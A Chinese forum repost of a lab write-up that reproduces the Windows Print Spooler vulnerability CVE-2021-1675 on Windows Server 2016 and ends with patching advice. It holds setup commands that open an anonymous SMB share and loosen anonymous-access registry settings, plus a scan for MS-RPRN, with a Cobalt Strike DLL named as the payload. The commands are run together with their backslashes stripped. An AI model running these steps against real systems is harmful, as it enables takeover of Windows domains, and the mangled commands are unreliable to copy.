搜索

[20640] 2021-07-05_WindowsPrintSpoolerCVE-2021-1675漏洞复现

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2021-07-05_WindowsPrintSpoolerCVE-2021-1675漏洞复现 W i n d o w s   P r i n t   S p o o l e r   C V E - 2 0 2 1 - 1 6 7 5   漏 洞 复 现 原 创   v o i d z e r o   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 7 - 0 5 收 录 于 话 题 # 信 息 安 全   , 1 9 # 渗 透 测 试   , 1 9 1 、 漏 洞 描 述                 W i n d o w s   P r i n t   S p o o l e r 是 W i n d o w s 的 打 印 机 后 台 处 理 程 序 ， 广 泛 的 应 用 于 各 种 内 网 中 。 近 期 安 全 研 究 人 员 在 G i t h u b 公 布 了 W i n d o w s   P r i n t S p o o l e r 远 程 代 码 执 行 漏 洞 P O C 。 攻 击 者 可 以 通 过 该 漏 洞 绕 过 P f c A d d P r i n t e r D r i v e r 的 安 全 验 证 ， 并 在 打 印 服 务 器 中 安 装 恶 意 的 驱 动 程 序 ， 若 攻 击 者 所 控 制 的 用 户 在 域 中 ， 则 攻 击 者 可 以 连 接 到 D C 中 的 S p o o l e r 服 务 ， 并 利 用 该 漏 洞 在 D C 中 安 装 恶 意 的 驱 动 程 序 ， 完 整 的 控 制 整 个 域 环 境 。                 G i t h u b 公 布 的 地 址 ： h t t p s : / / g i t h u b . c o m / a f w u / P r i n t N i g h t m a r e 2 、 漏 洞 准 备                 这 里 我 们 使 用 p y t h o n 版 本 的 p o c                 地 址 ： h t t p s : / / g i t h u b . c o m / c u b e 0 x 0 / C V E - 2 0 2 1 - 1 6 7 5                 环 境 ： w i n 2 0 1 6                 首 先 创 建 一 个 可 以 允 许 匿 名 访 问 的 s m b                 创 建 时 使 用 p o w e r s h e l l 3 、 漏 洞 利 用                 在 运 行 漏 洞 利 用 之 前 ， 您 需 要 安 装 I m p a c k e t   版 本                   可 以 使 用 来 扫 描 潜 在 的 易 受 攻 击 的 主 机 ， 如 果 它 返 回 一 个 值 ， 它 可 能 是 易 受 攻 击 的 协 议 ： [ M S - R P R N ] ： 打 印 系 统 远 程 协 议   然 后 进 行 利 用 ， 这 里 使 用 d l l 是 c s 生 成 的 d l l m k d i r C : s h a r e i c a c l s C : s h a r e   / T   / g r a n t   A n o n y m o u s `   l o g o n : r i c a c l s C : s h a r e   / T   / g r a n t   E v e r y o n e : r N e w - S m b S h a r e - P a t h   C : s h a r e   - N a m e   s h a r e   - R e a d A c c e s s   ' A N O N Y M O U S   L O G O N ' , ' E v e r y o n e ' R E G   A D D " H K L M S y s t e m C u r r e n t C o n t r o l S e t S e r v i c e s L a n M a n S e r v e r P a r a m e t e r s "   / v N u l l S e s s i o n P i p e s   / t   R E G _ M U L T I _ S Z   / d   s r v s v c   / f   # T h i s   w i l l   o v e r w r i t e   e x i s t i n g N u l l S e s s i o n P i p e s R E G   A D D " H K L M S y s t e m C u r r e n t C o n t r o l S e t S e r v i c e s L a n M a n S e r v e r P a r a m e t e r s "   / v N u l l S e s s i o n S h a r e s   / t   R E G _ M U L T I _ S Z   / d   s h a r e   / f R E G   A D D " H K L M S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l L s a "   / v   E v e r y o n e I n c l u d e s A n o n y m o u s / t   R E G _ D W O R D   / d   1   / f R E G   A D D " H K L M S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l L s a "   / v   R e s t r i c t A n o n y m o u s   / t R E G _ D W O R D   / d   0   / f #   R e b o o t p i p 3   u n i n s t a l l   i m p a c k e t g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c u b e 0 x 0 / i m p a c k e t c d   i m p a c k e t p y t h o n 3   . / s e t u p . p y   i n s t a l l r p c d u m p . p y r p c d u m p . p y   @ 1 9 2 . 1 6 8 . 1 . 1 0   |   g r e p   M S - R P R N
返 回 了 s y s t e m 的 会 话 4 、 修 复 建 议                 安 装 微 软   C V E - 2 0 2 1 - 1 6 7 5   漏 洞 补 丁 h t t p s : / / m s r c . m i c r o s o f t . c o m / u p d a t e - g u i d e / v u l n e r a b i l i t y / C V E - 2 0 2 1 - 1 6 7 5                 关 闭 打 印 机 服 务  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理